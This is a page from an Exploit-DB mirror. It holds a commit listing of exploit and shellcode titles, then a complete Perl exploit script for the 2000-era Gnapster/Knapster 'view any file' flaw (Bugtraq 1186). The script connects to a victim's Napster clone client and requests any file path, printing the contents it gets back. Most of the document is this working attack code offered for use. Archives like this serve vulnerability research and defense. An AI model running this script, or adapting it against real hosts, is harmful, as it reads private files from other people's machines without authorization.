exploit-db-mirror/exploits/unix/remote/19905.pl
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

92 lines
No EOL
3.9 KiB
Perl
Executable file

source: https://www.securityfocus.com/bid/1186/info
Various open source clones of the Napster software package have a vulnerability by which users may view files on a machine running a vulnerable Napster clone client. The file access is limited to files accessible by the user running the client. The official commercial version of Napster does not contain this vulnerability.
#!/usr/bin/perl
########################################################################
# #
# Gnapster / Knapster "view any file" exploit #
# #
# This script was originally written by no_maam on May the 13th 2000 #
# and modified by Dennis (conrad.d@web.de) on May the 14th. #
# #
# It exploits a bug in Gnapster prior to 1.3.9 discovered by #
# Jim Early on May the 10th 2000 and a bug in Knapster up to 0.10 #
# discovered by Tom Daniels on May the 10th 2000. #
# Due to a design error in Gnapster and Knapster it's possible to #
# view any file Gnapster / Knapster has access to because the #
# application fails to check that the requested file is an #
# explicitly shared MP3 file before providing it. #
# #
# NOTE: Both clients crashed very often while testing this script! #
# #
# See Bugtraq ID 1186 at http://www.securityfocus.com for details. #
# #
# Standard disclaimer applies. #
# #
########################################################################
use IO::Socket;
unless (@ARGV >= 2) {
&args
}
print " .: Gnapster / Knapster \"view any file\" exploit by no_maam and Dennis Conrad :.\n\n";
$host = $ARGV[0];
$file = $ARGV[1];
$file =~ s/\//\\/g; # Replace any / in filename with \
if ($ARGV[2] == "") { #
$port = 6699 # Use port 6699
} elsif ($ARGV[2] != ""){ # if none specified
$port = $ARGV[2] #
}
if ($ARGV[3] eq "") { #
$name = "nobody" # Use name "nobody"
} elsif ($ARGV[3] ne ""){ # if none specified
$name = $ARGV[3] #
}
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port
) || die " Couldn't open port $port on
$host\n";
$remote->autoflush(1);
sleep 2; # Wait two seconds (slow connection)
print $remote "GET$name \"$file\" 0\n"; # Get the file
while (<$remote>) {
if ($_ =~ /FILE NOT FOUND/) { # Test is file exists
print " File $file not found or the client has no permission so access it.\n";
exit 1 # Return exit status 0 (for shellscripts)
}
if ($_ =~ /NOT SHARED/) { # Test for fixed version of Gnapster / Knapster
print " Sorry, this is a fixed client\n";
exit 1
}
push @output, $_ # Write file to @output
}
print "\n@output\n"; # Print @output to STDOUT
close $remote;
exit 0;
sub args {
print " Usage: $0 <host> <file> [port] [name]\n";
print " By default port 6699 and name \"nobody\" is used.\n";
exit 1
}
# EOF